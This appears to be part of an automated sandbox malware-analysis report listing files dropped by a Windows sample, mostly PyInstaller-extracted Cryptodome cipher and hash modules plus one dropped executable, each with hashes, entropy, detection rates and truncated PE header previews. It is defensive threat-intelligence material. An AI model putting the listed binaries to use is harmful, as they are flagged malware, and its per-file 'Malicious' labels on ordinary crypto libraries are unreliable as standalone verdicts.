Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2..\...\...\......\...]...\.......\...\...\..._...\...Y...\...R...\...X...\.......\...^...\.Rich..\.........................PE..L.................!................0................................................b....@A................................t".......@...................!...P......P...T...........................p...@............ ..p............................text...P........................... ..`.data...<...........................@....idata....... ......................@..@.rsrc........@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\NU4SX64NXMV3YXYV8G3PIA0S0.exe

Download File

Process:	C:\Users\user\Desktop\random(4).exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5175296
Entropy (8bit):	5.547294600176339
Encrypted:	false
SSDEEP:	49152:uMegDAFfdiSkW9jEiKG4xidWwqnSYQlE9nC6YIogBic:8iAFfcSkW9jEXG4EcnAgogB
MD5:	14FC1658DE54A19670851A44AFC48ABC
SHA1:	951BA600309FF863C3EC177BA78AF16C288F5729
SHA-256:	6509D2FFD8BC3662DFE134AE1B1E811BDA35C68F51F6A40EEE823FCE9EF960E3
SHA-512:	77D96DF4E0239FC55AB61E106E17D57ED699CC040DAF652E8673BBC1DBED20E4C5502AD05E7F79460C6613831280F9C1AA0688419C9451C1ECBA9F1F631509F9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(........O...........@..........................0O.......O...@.................................M.$.a.....$.......................$..................................................................................... . ..$.......$.................@....rsrc.........$.......$.............@....idata ......$.......$.............@...tjfrjgvc.0...$..,...$.............@...oeyaxygs......N.......N.............@....taggant.0....O.."....N.............@...........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_ARC4.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	4.634028407547307
Encrypted:	false
SSDEEP:	96:z8MwxTCa5Xv7BelL7u1R/r8qJ7pfpsPG6QEYHGBp5WCmNniHisDJ9UFv4:zTwxTltlelL7urFfUQa5NmYjDLU
MD5:	BA43C9C79B726F52CD3187231E3A780F
SHA1:	EC0538F8F32F3C58CB7430E82C416B44C0B03D12
SHA-256:	7B5E1F955E198278A39B94F6AC18D49CEE21B99C8A951DE722FF99A153162A0B
SHA-512:	A74056F9D853B2F020800D9DB0C1C50AD704E5DBD6B9A0A169E1BCC6299AB02E5D1F6A9C0A4FEBE9E14D8FE3264D836E67ADCD1AD2F1C380FED4A98A48E3F3E3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...a."`.........." ................T........................................p............`.........................................`'.......(..d....P.......@...............`..$....!...............................!..8............ ...............................text............................... ..`.rdata...... ......................@..@.data...H....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......(..............@..@.reloc..$....`.....................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_Salsa20.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.010720322611065
Encrypted:	false
SSDEEP:	192:EUBpDmr37utd9PHv2DznuRGMeS4JUHNDLUYd:mDit6DCVn4WZUW
MD5:	991AA4813AF0ADF95B0DF3F59879E21C
SHA1:	E44DB4901FFBBB9E8001B5B3602E59F6D2CCC9C8
SHA-256:	5B86D84DA033128000D8BC00A237AB07D5FF75078216654C224854BEC0CD6641
SHA-512:	C6A9DB8338330AB45A8522FBEF5B59374176AC4BF2C0BAE6471AA6FA4710B7EFE20E9331BA542FA274D32DE623A0B578A1A048765F000F74B1608FFA05E5C550
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...b."`.........." ................T.....................................................`.........................................@8.......9..d....`.......P..L............p..$....1...............................1..8............0...............................text...x........................... ..`.rdata..2....0......................@..@.data...H....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_chacha20.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.030943993303202
Encrypted:	false
SSDEEP:	192:fhgUBpDmr37utd9PVv2Jnl0Ne3erKr5okiy0Y23RAr2Z9lkNCqDLU/:sDitwJooNiyX2hUA9f0U/
MD5:	43C8516BE2AE73FB625E8496FD181F1C
SHA1:	6D38E8EE6D38759FDBA6558848DA62BB3FB51EC8
SHA-256:	3A1ACFA87110ACE2F8B8F60B03E264F22E2B7E76B53AD98C3B260686B1C27C57
SHA-512:	B8DCD4875EF7759DA1F8B96FC85DAC8910720C8168F09AC52DAF85C637955274093530406BE2A58EF237BFAB8CCDF4F06F96EBA7ADFC4F413CBF0E5A7D447774
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...b."`.........." ................T.....................................................`..........................................7.......8..d....`.......P..d............p..$....1...............................1..8............0...............................text...(........................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..$....p.......2..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aes.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	6.5985845002689825
Encrypted:	false
SSDEEP:	384:ZOISQpPUUllvxL/7v/iKBt5ByU0xGitqzSEkxGG7+tpKHb/LZ7fr52E0H680xz4e:nLh7JbH1G4sS4j990th9VQFI
MD5:	DACF0299F0ACD196C0B0C35440C9CF78
SHA1:	CFFD37FE04854D60E87058B33CA313F532879BF7
SHA-256:	1199152F31FC5179FD39733B6B7D60B7F4A7269FE28CBC434F87FA53810B305D
SHA-512:	7FFA5A8979F4258968E37540348E62FD22C795981F4AA9A6962DDEC17CEC8265EC7A7FF7EE4A2EBADF4DA35062972E4C7ADF7C8D4031B60AE218872807E092D9
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...]."`.........." .....H...F......T.....................................................`.........................................0...........d...............................0......................................8............`...............................text....G.......H.................. ..`.rdata...5...`...6...L..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_aesni.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.181873142782463
Encrypted:	false
SSDEEP:	192:9Ee15je/I3TuvPfB1LeLi2jcXdq2QdeJgDZETDRcYcaKAADLU5YUod:992Y6/B1KL4XdQdggDZ8EU5YUm
MD5:	5D1CAEEDC9595EC0A30507C049F215D7
SHA1:	B963E17679A0CB1EFDC388B8218BE7373DE8E6CC
SHA-256:	A5C4143DDFA6C10216E9467A22B792541096E222EFE71C930A5056B917E531A0
SHA-512:	BE8471BE53AFA1EDCAA742B7D1D4222D15D4682BA8E1F8376FC65C46CCC5FE0890D24BBAFB6616F625D5D37A087762317EBAA4AE6518443E644FA01EBC4496E5
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................[........................*.......................................7............Rich....................PE..d...]."`.........." ......... ......T.....................................................`.........................................p9.......:..d....`.......P...............p..$....1...............................1..8............0.. ............................text............................... ..`.rdata.......0......."..............@..@.data...8....@.......2..............@....pdata.......P.......4..............@..@.rsrc........`.......8..............@..@.reloc..$....p.......:..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_arc2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	5.400580637932519
Encrypted:	false
SSDEEP:	192:rEJe0rPeLTuUt4/wgroOCouz7ucc9dJ7oAAokDLU45Gc:3mUGr9n6769laU45
MD5:	4795B16B5E63AEE698E8B601C011F6E6
SHA1:	4AA74966B5737A818B168DA991472380FE63AD3E
SHA-256:	78DB7D57C23AC96F5D56E90CFB0FBB2E10DE7C6AF48088354AA374709F1A1087
SHA-512:	73716040ECF217E41A34FADEA6046D802982F2B01D0133BFD5C215499C84CB6D386AF81235CA21592722F57EA31543D35B859BE2AF1972F347C93A72131C06C2
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...]."`.........." ....."... ......T.....................................................`.........................................@I.......I..d....p.......`..................$....B...............................B..8............@...............................text...8 .......".................. ..`.rdata.......@.......&..............@..@.data...H....P.......6..............@....pdata.......`.......8..............@..@.rsrc........p.......<..............@..@.reloc..$............>..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_blowfish.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	6.159203027693185
Encrypted:	false
SSDEEP:	192:iUpJ7Grjup/vx81AguKUiZA3OkJYkO8d3KobfoHJAyZJg8D0KThxA+rAQE+tnJi8:I2XKAs3ZArTvHbgpJgLa0Mp83xhUoz
MD5:	9F33973B19B84A288DF7918346CEC5E4
SHA1:	A646146337225D3FA064DE4B15BF7D5C35CE5338
SHA-256:	DC86A67CFF9CB3CC763AAAB2D357EC6DBC0616A5DFC16EBE214E8E2C04242737
SHA-512:	D7FFA4A640EBD2C9121DBD1BA107B5D76C0385524C4F53DE6FDA1BB0EC16541CEF1981F7E1DAA84F289D4A7D566B0620690AF97AF47F528BBF5B2CD6E49FE90C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...^."`.........." .....$..........T.....................................................`..........................................X.......Y..d............p..................0....Q...............................R..8............@...............................text...H#.......$.................. ..`.rdata.......@.......(..............@..@.data...H....`.......F..............@....pdata.......p.......H..............@..@.rsrc................L..............@..@.reloc..0............N..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cast.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24576
Entropy (8bit):	6.493034619151615
Encrypted:	false
SSDEEP:	384:pksGDsFSQkHUleKaZXmrfXA+UA10ol31tuXOQkUdT:kTK0K4XmrXA+NNxW+Ud
MD5:	89D4B1FC3A62B4A739571855F22E0C18
SHA1:	F0F6A893A263EEEB00408F5F87DC9ABB3D3259A6
SHA-256:	3832F95FE55D1B4DA223DF5438414F03F18D5EF4AAFD285357A81E4ED5AD5DA1
SHA-512:	20C713564C0658FD7A26F56BF629B80FCB4E7F785E66A00163933D57C8E5A344F6B0476F7395A6D8A526D78A60C85884CEFF6B3F812A8EE07E224C9E91F878C1
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...^."`.........." .....$...>............................................................`.........................................@h.......h..d...............................0....a...............................a..8............@...............................text...x".......$.................. ..`.rdata...,...@.......(..............@..@.data...H....p.......V..............@....pdata...............X..............@..@.rsrc................\..............@..@.reloc..0............^..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cbc.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.700268562557766
Encrypted:	false
SSDEEP:	192:zh05p7mr3Tutd9PUv2anKfI1ve86rYDLUa:tD6t/GKfevTTUa
MD5:	73DD025BFA3CFB38E5DAAD0ED9914679
SHA1:	65D141331E8629293146D3398A2F76C52301D682
SHA-256:	C89F3C0B89CFEE35583D6C470D378DA0AF455EBD9549BE341B4179D342353641
SHA-512:	20569F672F3F2E6439AFD714F179A590328A1F9C40C6BC0DC6FCAD7581BC620A877282BAF7EC7F16AAA79724BA2165F71D79AA5919C8D23214BBD39611C23AED
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...`."`.........." ................T.....................................................`..........................................7.......8..d....`.......P..X............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..$....p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_cfb.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	4.99372428436515
Encrypted:	false
SSDEEP:	192:Dardk3qQb3GukBPZCLfSQl+x5DLUzbgd6:dNzFkHCLKUzbO
MD5:	E87AAC7F2A9BF57D6796E5302626EE2F
SHA1:	4B633501E76E96C8859436445F38240F877FC6C6
SHA-256:	97BF9E392D6AD9E1EC94237407887EA3D1DEC2D23978891A8174C03AF606FD34
SHA-512:	108663F0700D9E30E259A62C1AE35B23F5F2ABD0EFF00523AAE171D1DB803DA99488C7395AFD3AD54A242F0CB2C66A60E6904D3E3F75BB1193621FD65DF4AD5C
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@....................@......@......@......f......f......f.~.....f......Rich....................PE..d...`."`.........." ................T.....................................................`..........................................8......H9..d....`.......P..d............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..d....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..$....p.......2..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ctr.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.274628449067808
Encrypted:	false
SSDEEP:	192:ktVGzeoI3DuzPpcAdXdO57EEE/quBiFElcUNIDLUnF6+ud:nNYqFcAdXdDqurIUnUp
MD5:	F3F30D72D6D7F4BA94B3C1A9364F1831
SHA1:	46705C3A35C84BF15CF434E2607BDDD18991E138
SHA-256:	7820395C44EAB26DE0312DFC5D08A9A27398F0CAA80D8F9A88DEE804880996FF
SHA-512:	01C5EA300A7458EFE1B209C56A826DF0BF3D6FF4DD512F169D6AEE9D540600510C3249866BFB991975CA5E41C77107123E480EDA4D55ECCB88ED22399EE57912
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........o....................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...a."`.........." ......... ......T.....................................................`.........................................P9.......:..d....`.......P...............p..$....1...............................1..8............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..$....p.......8..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	56832
Entropy (8bit):	4.23001088085281
Encrypted:	false
SSDEEP:	384:m3gj0/sz71dv/ZHkVnYcZiGKdZHDLIK4vnKAnKorZOzUbq+K9:7jssHZHTr4vZHb69
MD5:	020A1E1673A56AF5B93C16B0D312EF50
SHA1:	F69C1BB224D30F54E4555F71EA8CAD4ACB5D39BC
SHA-256:	290B3ED6151B7BF8B7B227EF76879838294F7FF138AF68E083C2FDDC0A50E4FC
SHA-512:	71B5ED33B51F112896BB59D39B02010B3ABC02B3032BD17E2AA084807492DA71BDE8F12ADEF72C6CC0A5A52D783CD7595EEC906C394A21327ADAB2927E853B1F
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Sj..2...2...2...J...2..LC...2...Y...2...2...2..LC...2..LC...2..LC...2..j@...2..j@...2..j@...2..j@...2..Rich.2..........................PE..d..._."`.........." .....6...................................................0............`.....................................................d...............l............ ..0... ...............................@...8............P...............................text....5.......6.................. ..`.rdata..T....P.......:..............@..@.data...H...........................@....pdata..l...........................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_des3.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	4.2510443883540265
Encrypted:	false
SSDEEP:	384:wVgj0/sKzNweVC/ZHkNnYcZiGKdZHDLaK0vnKAnKLrZVwUbqeo:njsskKZHLR0vZmbx
MD5:	EC55478B5DD99BBE1EBA9D6AD8BDE079
SHA1:	EC730D05FEEC83B1D72784C2265DC2E2CF67C963
SHA-256:	1AF46CBE209E3F1D30CCC0BA9F7E5A455554CAF8B1E3E42F9A93A097D9F435AC
SHA-512:	55FE28E839117A19DF31165FEA3DED3F9DFC0DDA16B437CF274174E9AE476C0E5B869FFB8B2CF1880189BFAC3917E8D7078FA44FC96CFF18DC6EAC7AFA7A8F48
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Sj..2...2...2...J...2..LC...2...Y...2...2...2..LC...2..LC...2..LC...2..j@...2..j@...2..j@...2..j@...2..Rich.2..........................PE..d..._."`.........." .....8...................................................0............`.................................................`...d............................ ..0... ...............................@...8............P...............................text...h7.......8.................. ..`.rdata.......P.......<..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..0.... ......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ecb.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	4.689882120894326
Encrypted:	false
SSDEEP:	96:5D8MdJTCaDAH37Belrzu1x/r8qJ7pfJsPG6QxmFWymc3doBKumsLVsDJ9UKvL:lTdJTlDmNelrzuLFf0Qg4yxlumQCDLU
MD5:	93DA52E6CE73E0C1FC14F7B24DCF4B45
SHA1:	0961CFB91BBCEE3462954996C422E1A9302A690B
SHA-256:	DDD427C76F29EDD559425B31EEE54EB5B1BDD567219BA5023254EFDE6591FAA0
SHA-512:	49202A13D260473D3281BF7CA375AC1766189B6936C4AA03F524081CC573EE98D236AA9C736BA674ADE876B7E29AE9891AF50F1A72C49850BB21186F84A3C3AB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........mr..............t......,}.......g..............,}......,}......,}.......~.......~.......~.......~......Rich............................PE..d...`."`.........." ................T........................................p............`..........................................&.......'..P....P.......@...............`..$....!...............................!..8............ ...............................text............................... ..`.rdata..p.... ......................@..@.data...H....0....... ..............@....pdata.......@......."..............@..@.rsrc........P.......$..............@..@.reloc..$....`.......&..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_eksblowfish.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	6.2360102418962855
Encrypted:	false
SSDEEP:	384:42XHEtPwbdvIbwKBBEHYpJgLa0Mp8u9sLgU:jHMobBiB+HqgLa1Kx
MD5:	3D34E2789682844E8B5A06BE3B1C81BF
SHA1:	0141D82B4B604E08E620E63B8257FB6A1E210CAF
SHA-256:	40B1A6F1318C565E985AFFB8DF304991E908AB1C36C8E960E7AC177E3002FCA0
SHA-512:	886780D6CE3F2955C8FAC38F75DC3A2E017F68ED8FCC75BAA6D74A5E4018CFBF2B99F59D0DBFA5D2728EB1AD7F3F8FE54F0AD3F29D74AFC43E2CDC1A21F889C4
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...^."`.........." .....(..........T.....................................................`..........................................X.......Y..d............p..................0....Q...............................R..8............@...............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data...H....`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..0............R..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ocb.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.285518610964193
Encrypted:	false
SSDEEP:	384:txQrFBe/i+/puqeXOv3oTezczeO9p9iYDWYLJzUn:Q5B8txuqeXOfoTezcSO9pUY1JY
MD5:	194D1F38FAB24A3847A0B22A120D635B
SHA1:	A96A9DF4794CDA21E845AAFE2D5ACD5A40A9C865
SHA-256:	FCC68F211C6D2604E8F93E28A3065F6E40F1E044C34D33CC8349EB3873559A0C
SHA-512:	07324B03B7DD804090B00BC62C41162FD1788AE3C8450BCA25D63BF254009D04A7ACDF7ACFAF473A3D1BE1FA58B0007FA35D8E486F90C9B48384C035C83B0CCF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...a."`.........." .....(... ......T.....................................................`.........................................@I......<J..d....p.......`..................$....A...............................A..8............@...............................text....'.......(.................. ..`.rdata.......@.......,..............@..@.data........P.......<..............@....pdata.......`.......>..............@..@.rsrc........p.......B..............@..@.reloc..$............D..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Cipher\_raw_ofb.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	4.696064367032408
Encrypted:	false
SSDEEP:	192:V05p7mr3Tutd9PUv22NeLfPI5k3bo7tDLUan:tD6t/N4a3bEZUan
MD5:	0628DC6D83F4A9DDDB0552BD0CC9B54C
SHA1:	C73F990B84A126A05F1D32D509B6361DCA80BC93
SHA-256:	F136B963B5CEB60B0F58127A925D68F04C1C8A946970E10C4ABC3C45A1942BC7
SHA-512:	78D005A2FEC5D1C67FC2B64936161026F9A0B1756862BAF51EAF14EDEE7739F915D059814C8D6F66797F84A28071C46B567F3392DAF4FF7FCDFA94220C965C1A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...`."`.........." ................T.....................................................`..........................................7.......8..d....`.......P..X............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..$....p......................@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2b.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14336
Entropy (8bit):	5.219784380683583
Encrypted:	false
SSDEEP:	192:305p7mr3Tutd9Pwv2e42bF7i+V2rQnjt1wmg9jN+mp23XDLUk:rD6tTephi+AojO9jbQHUk
MD5:	59F65C1AD53526840893980B52CD0497
SHA1:	E675A09577C75D877CB1305E60EB3D03A4051B73
SHA-256:	2DF02E84CFD77E91D73B3551BDDA868277F8AE38B262FA44528E87208D0B50FC
SHA-512:	5E9782793A8BB6437D718A36862C13CDE5E7E3780E6F3E82C01F7B2F83EBBDB63F66B3C988FA8DEF36077F17FA1F6C2C77A82FABBD7C17D1568E7CEA19E7EDD6
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...[."`.........." ................T.....................................................`..........................................8......\|9..d....`.......P..@............p..$....2...............................2..8............0...............................text............................... ..`.rdata.......0....... ..............@..@.data...H....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..$....p.......6..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_BLAKE2s.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.171175600505211
Encrypted:	false
SSDEEP:	192:O05p7mr3Tutd9Pwv2aKbxdcgatX1WmkaA09L9kDLUhX:MD6tTZgtX15kanYU
MD5:	4D8230D64493CE217853B4D3B6768674
SHA1:	C845366E7C02A2402BA00B9B6735E1FAD3F2F1EF
SHA-256:	06885DC99A7621BA3BE3B28CB4BCF972549E23ACF62A710F6D6C580AABA1F25A
SHA-512:	C32D5987A0B1DED7211545CB7D3D7482657CA7D74A9083D37A33F65BBE2E7E075CB52EFAEEA00F1840AB8F0BAF7DF1466A4F4E880ABF9650A709814BCEE2F945
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...\."`.........." ................T.....................................................`..........................................8.......9..d....`.......P..@............p..$....2...............................2..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......,..............@....pdata..@....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD2.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.171087190344686
Encrypted:	false
SSDEEP:	384:ajJzPAI2p3C2p+EhKnLg9yH8puzoFaPERIQAVqYU:GITp3pp+EhmLg9yH8puzoFaPERIQp
MD5:	4B4831FCFCA23CEBEC872CCCCE8C3CE1
SHA1:	9CA26A95C31E679B0D4CFEDEACEA38334B29B3F3
SHA-256:	75250C7B7EE9F7F944D9C23161D61FE80D59572180A30629C97D1867ECF32093
SHA-512:	7218D67A78EBC76D1AA23AEDDF7B7D209A9E65D4A50FD57F07680953BDF40E42B33D3D6388119B54E3948DA433D0F895BCC0F98E6D1AF4B9821AEFE2300C7EA0
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...V."`.........." ................T.....................................................`..........................................9.......9..d....`.......P..(............p..$....2...............................2..8............0...............................text...h........................... ..`.rdata.......0......................@..@.data...x....@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI58162\Cryptodome\Hash\_MD4.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1028928001\982cf429c9.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.0894476079532565
Encrypted:	false
SSDEEP:	192:ZE4+jfKIb3gudUPpwVp1sAD7I/9hAkeTOre5QDLU+db:CjJzPQwVp1sAD7KvpUv5uUob
MD5:	642B9CCEA6E2D6F610D209DC3AACF281
SHA1:	8F816AA1D94F085E2FE30A14B4247410910DA8F9
